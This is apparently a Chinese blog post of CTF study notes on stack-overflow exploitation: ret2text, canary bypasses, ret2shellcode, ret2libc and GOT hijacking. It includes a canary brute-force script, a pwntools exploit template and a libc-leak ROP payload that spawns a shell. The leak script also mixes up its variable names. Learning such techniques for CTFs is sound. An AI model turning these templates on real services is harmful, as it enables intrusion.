NewStarCTF学习笔记-WEEK1

WEEK1

return to text[text区域]

​ 通过向栈上堆砌长度足够且合适的"垃圾信息"改写 ret指令指向的地址,执行对应函数

​ 注意点:保护,遇上Canary要进行绕过

常见的Canary绕过方式

canary介绍与绕过技巧

  • 泄露栈中的 Canary

    ​ Canary 设计为以字节 \x00结尾,本意是为了保证 Canary 可以截断字符串. 泄露栈中的 Canary 的思路是覆盖 Canary 的低字节,来打印出剩余的 Canary 部分.这种利用方式需要存在合适的输出函数,并且可能需要第一溢出泄露 Canary,之后再次溢出控制执行流程.

  • one-by-one 爆破 Canary

    ​ 对于 Canary,虽然每次进程重启后的 Canary 不同 (相比 GS,GS 重启后是相同的),但是同一个进程中的不同线程的 Canary 是相同的,并且通过 fork函数创建的子进程的 Canary 也是相同的,因为fork函数会直接拷贝父进程的内存.我们可以利用这样的特点,彻底逐个字节将 Canary 爆破出来.在著名的 offset2libc 绕过 linux64bit 的所有保护的文章中,作者就是利用这样的方式爆破得到的 Canary.

    这是爆破的 Python 代码:

    print("[+] Brute forcing stack canary ")
    
    start = len(p)
    stop = len(p)+8
    
    while len(p) < stop:
       for i in xrange(0,256):
          res = send2server(p + chr(i))
    
          if res != "":
             p = p + chr(i)
             #print("\t[+] Byte found 0x%02x" % i)
             break
    
          if i == 255:
             print("[-] Exploit failed")
             sys.exit(-1)
    
    canary = p[stop:start-1:-1].encode("hex")
    print("   [+] SSP value is 0x%s" % canary)
    
  • 劫持 __stack_chk_fail 函数

​ 已知 Canary 失败的处理逻辑会进入到 __stack_chk_failed 函数. stack_chk_failed 函数是一个普通的延迟绑定函数,可以通过修改 GOT表劫持这个函数.

  • 覆盖 TLS 中储存的 Canary 值

​ 已知 Canary 储存在 TLS 中,在函数返回前会使用这个值进行对比.当溢出尺寸较大时,可以同时覆盖栈上储存的 Canary 和 TLS 储存的 Canary 实现绕过.

retutn to shellcode[构造shellcode]

​ IDA里shift+F12查看字符串,没有发现'/bin/sh','system','execve'等常规的可以拿取shell的字符时,可以考虑通过栈溢出到ret指令,使其指向编译好的shellcode拿取shell.

​ 一般要有两个及以上的可写地址的gadget函数[read,scanf...] (前用于写入shellcode,后用于栈溢出到ret指令执行shellcode)

shellcode = asm(shellcraft.sh()) # 汇编,生成shellcode

return to libc[libc库]

​ IDA里shift+F12查看字符串,没有发现'/bin/sh','system','execve'等常规的可以拿取shell的字符时,可以考虑通过泄露libc库结合 溢出到ret指令 进行system("/bin/sh")函数构造和执行.

GOT表劫持/覆写

​ 根据动态链接延迟绑定技术,运用任意地址读写技术对某个函数的GOT表进行改写,使其指向想要执行的危险函数[如system , execve函数]

任意地址读写技术
  • 运用程序原本就存在的可供读写的函数进行任意地址的读写[常用scanf , read , fflush , fgets...]
  • 通过ROP链构造读写函数

Python调用C语言函数

如何在python中调用C语言代码

  • CTypes模块
  • SWIG
  • Python/C API

脚本整理

  • pwn基本通用架构[易读易调试版本]
from pwn import *

context(os='linux', arch='amd64', log_level='debug')
content = 1                     # 状态,进行本地调试或进行远程攻击

def main():
    if content == 1:
        res = process("")       # 链接到本地程序
    else:
        res = remote("", )      # 连接到远程靶机,字符串里是地址,逗号后是端口

    payload = xxx
    # 这几行视情况而定数量
    res.recvuntil("")           # 获取服务器程序返回
    res.sendline("")            # 发送要输入的数据

    res.recvuntil("")
    res.sendline(payload)

    res.interactive()           # 起动交互式(shell)

main()
  • 泄露libc
# 先进行libc库的绑定
elf = ELF(fpath)
libc = elf.libc
# 获取相关的地址 IDA静态分析 或 进程中动态分析
poprdi_addr = xxx  # pop rdi指令的地址,用于构建payload
func_got = elf.got['puts']  # 用于泄露的函数的got表地址
func_plt = elf.plt['puts']  # 用于泄露的函数的plt表
main_addr = xxx  # main函数的起始地址,用于跳回重新执行
payload = b'a' * () + p64(canary) + p64(0) + \
	p64(poprdi_addr) + p64(func_got) + p64(func_plt) + p64(main_addr)
# 64位 payload组成:栈溢出 + (canary绕过+) 占位 + pop rdi指令地址 + 用于泄露的函数的GOT的地址
# + 用于泄露的函数的plt的地址(作为用于泄露的函数的参数用于libc泄露) + ret指令参数(用于跳回重新执行程序)
# 32位 payload组成:栈溢出 + ‘aaaa’(4长度,覆盖EBP) + 用于泄露的函数的plt的地址 + 返回执行程序的地址 + 用于泄露的函数的参数构造(如write()函数[write(1,‘write_got’,4)]:	p32(1)+ p32(write_got)+p32(4))
r.sendlineafter("", payload)
r.recvuntil("")
# 直到7f出现的位置作为终点,开始往前读6个字节数据,然后再8字节对齐,不足8位补\x00
# 32位 可用 func_addr = u32(r.recv()[0:4])
func_addr = u64(r.recvuntil('\x7f')[-6:].ljust(8, b'\x00')) # 用于泄露的函数的真实地址
# u64是用来解包的,将整形转为字符型,也就是说里面接收的应该是字节流
# l.just(8,'\x00')指取8个字节,不够的用\x00,即0来填充
# p.recvuntil('\x7f')[-6:] \x7f是64位程序函数地址的默认开头,-6就是从倒数第6个字节开始取,在内存中是倒着放的
print("[DEBUG] puts_addr:" + hex(puts_addr))
libc_base = puts_addr - libc.symbols['puts'] # libc基址
print("[DEBUG] libc_base:" + hex(libc_base))
sys_addr = libc.symbols['system'] + libc_base # system(危险函数)真实地址计算
print("[DEBUG] sys_addr:" + hex(sys_addr))
sh_addr = next(libc.search(b"/bin/sh\0")) + libc_base # 相关参数地址计算
# [!!!注意!!!]由于python版本的改版,迭代器的迭代方法写法有所改动
# 2.x环境下为:		Iteration.next()
# 3.x环境下为:		next(Iteration)
print("[DEBUG] sh_addr:" + hex(sh_addr))
posted @ 2022-10-06 20:31  络辰  阅读(322)  评论(0编辑  收藏  举报